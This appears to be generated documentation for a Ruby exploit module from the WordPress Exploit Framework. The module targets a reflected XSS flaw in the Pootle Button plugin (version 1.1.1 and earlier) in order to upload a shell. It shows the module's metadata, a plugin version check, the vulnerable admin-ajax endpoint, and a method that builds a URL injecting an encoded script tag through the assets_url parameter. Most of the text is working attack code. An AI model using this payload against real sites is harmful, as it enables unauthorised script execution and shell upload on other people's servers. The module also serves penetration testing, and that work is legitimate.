class Wpxf::Exploit::PootleButtonReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb, line 4
def initialize
  super

  update_info(
    name: 'Pootle Button <= 1.1.1 Reflected XSS Shell Upload',
    author: [
      'Ricardo Sanchez',                         # Disclosure
      'Paul Williams <phyushin[at]phyubox.com>'  # WPXF module
    ],
    references: [
      ['WPVDB', '8930'],
      ['URL', 'https://packetstormsecurity.com/files/144582/']
    ],
    date: 'Oct 12 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb, line 21
def check
  check_plugin_version_from_readme('pootle-button', '1.2.0')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb, line 29
def url_with_xss
  "#{vulnerable_url}?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb, line 25
def vulnerable_url
  wordpress_url_admin_ajax
end